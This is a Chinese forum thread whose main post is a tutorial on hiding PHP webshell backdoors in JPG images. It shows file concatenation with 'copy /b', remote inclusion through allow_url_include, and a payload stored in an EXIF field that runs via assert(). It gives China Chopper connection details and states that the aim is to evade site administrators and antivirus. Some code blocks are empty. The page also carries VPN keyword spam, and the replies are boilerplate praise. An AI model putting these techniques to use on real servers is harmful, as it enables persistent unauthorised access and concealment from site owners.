请选择 进入手机版 | 继续访问电脑版

推特加速器

 找回密码
 立即注册
搜索
热搜: 海外网站加速器 海外节点加速器 海外免费加速器 海外网络加速器 海外vp节点加速器 海外vp加速器 谷歌网站加速器 谷歌节点加速器 谷歌免费加速器 谷歌网络加速器 谷歌vp节点加速器 谷歌vp加速器 油管免费加速器 可以上油管的加速器 能上油管的加速器 上油管好用的加速器 可以用油管的加速器 上油管的加速器 佛跳墙官网 佛跳墙下载 佛跳墙pnv 老王梯子佛跳墙 老王梯子 老王海外vp加速器 老王vp加速器 老王npv加速器 老王海外加速器 老王npv加速器官网 老王外网加速器 Twitter加速器 可以免费上推特Twitter的加速器 可以免费上推特的加速器 免费上推特的加速器 可以免费上Twitter的加速器 免费上Twitter的加速器 上推特的加速器 上Twitter的加速器 youtube加速器 看youtube加速器推荐 可以上油管的加速器 上油管的加速器 能上油管的加速器 twitter免费加速器 免费twitter加速器 twitter网络加速器 推特免费加速器 免费推特加速器 推特网络加速器 多快外网加速器 多快加速器app 多快加速器app下载 多快vp加速器 多快加速器破解 多快加速器官网 洋葱加速器 洋葱海外加速器 洋葱外网加速器 洋葱免费加速器 洋葱网络加速器 比特加速器 比特加速器app 比特手机加速器 比特网络加速器 比特vp加速器 推特加速器能上推特的免费加速器 能上推特的免费加速器安卓版 能上推特的免费加速器ios 能上推特的免费加速器免费安装 能上推特的免费加速器手机下载 能上推特的免费加速器官方应用 能上推特的免费加速器破解版 油管加速器 油管网站加速器 油管节点加速器 油管免费加速器 油管网络加速器 油管vp节点加速器 油管vp加速器 youtube加速器 youtube加速器 看youtube加速器推荐 可以上youtube的加速器 上youtube的加速器 能上youtube的加速器 Pupa加速器官网 Pupa加速器破解版 Pupa加速器 狗急vp海外加速器 狗急vp加速器 狗急海外加速器 狗急外网加速器 狗急加速器 vp海外加速器 免费狗急外网加速器 youtube加速器 能上youtube的加速器 上youtube的加速器 可以上youtube的加速器 youtube免费加速器 国内能上youtube的加速器 国内如何看youtube 能上youtube的加速器 上youtube的加速器 一键连加速器官网 一键连加速器 一键连海外加速器 一键连外网加速器 外网加速器 外网免费加速器 外网vp加速器 外网加速器下载 能上外网的免费加速器 上外网的免费加速器 可以上外网的加速器 国外加速器 国外免费加速器 国外vp加速器 国外加速器下载 能上国外的免费加速器 上国外的免费加速器 可以上国外的加速器 蜜蜂加速器 蜜蜂海外加速器 蜜蜂手机加速器 蜜蜂vp加速器 怎么上推特 国内如何上推特 上推特的方法 怎么上twitter 国内如何上twitter 上twitter的方法 袋鼠加速器 袋鼠外网vp加速器 袋鼠外网加速器 袋鼠vp加速器 袋鼠免费加速器 蚂蚁加速器 蚂蚁加速器官网 蚂蚁免费加速器 蚂蚁海外vp加速器 蚂蚁海外加速器 蚂蚁vp加速器 神灯加速器 神灯vp加速器 神灯海外加速器 神灯手机加速器 神灯免费加速器 西柚加速器 西柚vp加速器 西柚海外加速器 西柚手机加速器 黑洞加速器 黑洞vp加速器 黑洞外网加速器 黑洞免费加速器 黑洞手机加速器 狗急加速器 狗急vp加速器 狗急跳墙加速器 狗急海外加速器 狗急免费加速器 红杏加速器 红杏出墙加速器 红杏手机加速器 红杏海外加速器 飞鱼加速器 飞鱼加速器官网 飞鱼加速器下载 飞鱼app加速器 飞鱼手机加速器 飞鱼海外加速器 789加速器 789加速器官网 789加速器下载 789外网加速器 789网络加速器 789手机加速器 ins加速器 instagram加速器 instagram海外加速器 ins外网加速器 ins加速器官网 ins加速器下载 快连vp 快连vp加速器 快连加速器 一键连海外加速器 一键连加速器 海外加速器 佛跳墙加速器 佛跳墙加速器官网 佛跳墙加速器下载 佛跳墙vp加速器 佛跳墙vp 火箭海外加速器 火箭海外vp加速器 火箭vp加速器 火箭网络加速器 火箭加速器

编辑推荐

查看: 832|回复: 100

PHP马图片后门藏匿攻略

  [复制链接]

309

主题

309

帖子

955

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
955
发表于 2022-3-16 17:21:48 | 显示全部楼层 |阅读模式
PHP图片后门藏匿攻略

我们平时藏匿图片后门是什么流程呢?我们来看一下

0x01 初级的藏匿方法:

1、建立一个eval.php文件,上面加入我们的后门:


1





2、找一张图片1.jpg,最好是从目标网站上下载下来的图片。

3、合并图片和php后门:


1

Copy /b C:xampphtdocsimages1.jpg + C:xampphtdocsimageseval.php C:xampphtdocsimages2.jpg



4、在任何一个php文件中包含这个2.jpg的图片后门,这里以images.php为例,写入以下的代码:


1





5、上传2.jpg和images.php,在菜刀里添加一句话后门:http://127.0.0.1/images/images.php,密码为feiji。


访问图片正常:

访问images.php页面出现乱码,但是后门已经正常运行:

但是一句话在菜刀里是可以解析成功的:


注:省去第3步也是可以的,只不过直接访问图片会乱码,会让管理员起疑心。


0x02 中级藏匿的方法:

1、其实就是远程文件包含,也不只是针对图片,要求你有高权限,能够操纵Apache和修改php.ini文件:

  • 修改ini的配置选项allow_url_fopen和allow_url_include为ON。

2、创建任何一个php文件中,以images.php为例,写入以下的代码:


1





3、刚才做的图片后门jpg可以放在别的网站(http://www.xxxx.com)上,在菜刀里添加一句话后门:

http://127.0.0.1/images/images.php?feiji=http://www.xxxx.com/images/2.jpg 密码为feiji


注:这样做的优点是可以随时变换各种后门,缺点是很难获取到高权限。



0x03 高级的藏匿方法背景知识:

EXIF信息: 是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头,并以字符串“0xFFD9”结束。文件头中有一系列“0xFF??”格式的字符串,称为“标识”,用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始,“0xFFD9”表示图像信息结束,这两个标识后面没有信息,而其它标识紧跟一些信息字符。

其实就是这个玩意儿:选定图片右键选择属性,在详细信息里面可以看到(win7)



1、php里面有一个函数exif_read_data(),可以取得图片的EXIF信息头,但是需要开启php_exif模块。

2、我们是可以随意修改EXIF信息的,例如:


这里推荐一个小工具,PowerExif ,下载地址为:


http://www.pc6.com/softview/SoftView_68705.html

免费版可以修改部分EXIF信息头,但是对我们来说已经足够了。

打开工具,点击添加,在修改机型信息,如下:



添加我们的PAYLOAD:


3、我们来调试一下:


1
2
3
4
5
6
7


$exif = exif_read_data('460.jpg');

var_dump($exif);

?>




输出:


4、利用方法:

在php脚本上写入:


1
2
3
4
5
6
7


$exif = exif_read_data ('460.jpg');

assert($exif['Model']);

?>




5、在菜刀上添加http://127.0.0.1/images/images.php 密码为feiji,效果:


有同学可能会问,为什么要使用这种方法藏匿图片后门,这个不是和初级的藏匿方法等效吗?原因有三:

  • 有经验的管理员一看include文件就会发现有端倪。
  • 杀软会重点检查include包含的文件。
  • exif_read_data()函数可以包含远程的JPG文件,也就是等效于一个远程漏洞文件包含咯。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

0

主题

140

帖子

219

积分

中级会员

Rank: 3Rank: 3

积分
219
发表于 2022-3-17 20:44:12 | 显示全部楼层
膜拜神贴,后面的请保持队形~
回复

使用道具 举报

0

主题

172

帖子

267

积分

中级会员

Rank: 3Rank: 3

积分
267
发表于 2022-3-17 22:22:44 | 显示全部楼层
先试一下
回复

使用道具 举报

0

主题

154

帖子

240

积分

中级会员

Rank: 3Rank: 3

积分
240
发表于 2022-3-18 17:04:44 | 显示全部楼层
果断MARK,前十有我必火!
回复

使用道具 举报

0

主题

170

帖子

264

积分

中级会员

Rank: 3Rank: 3

积分
264
发表于 2022-3-18 18:05:38 | 显示全部楼层
谢谢分享!一直在找
回复

使用道具 举报

0

主题

74

帖子

120

积分

注册会员

Rank: 2

积分
120
发表于 2022-3-19 06:20:46 | 显示全部楼层
感谢分享 试一下看看
回复

使用道具 举报

0

主题

154

帖子

240

积分

中级会员

Rank: 3Rank: 3

积分
240
发表于 2022-3-20 05:51:14 | 显示全部楼层
触及到我的知识盲区了。
回复

使用道具 举报

0

主题

98

帖子

156

积分

注册会员

Rank: 2

积分
156
发表于 2022-3-20 05:52:32 | 显示全部楼层
楼主,不论什么情况你一定要hold住!hold住就是胜利!
回复

使用道具 举报

0

主题

182

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
发表于 2022-3-20 07:11:17 | 显示全部楼层
永远支持加速器
回复

使用道具 举报

0

主题

98

帖子

156

积分

注册会员

Rank: 2

积分
156
发表于 2022-3-20 19:10:13 | 显示全部楼层
感谢分享,支持加速器
回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表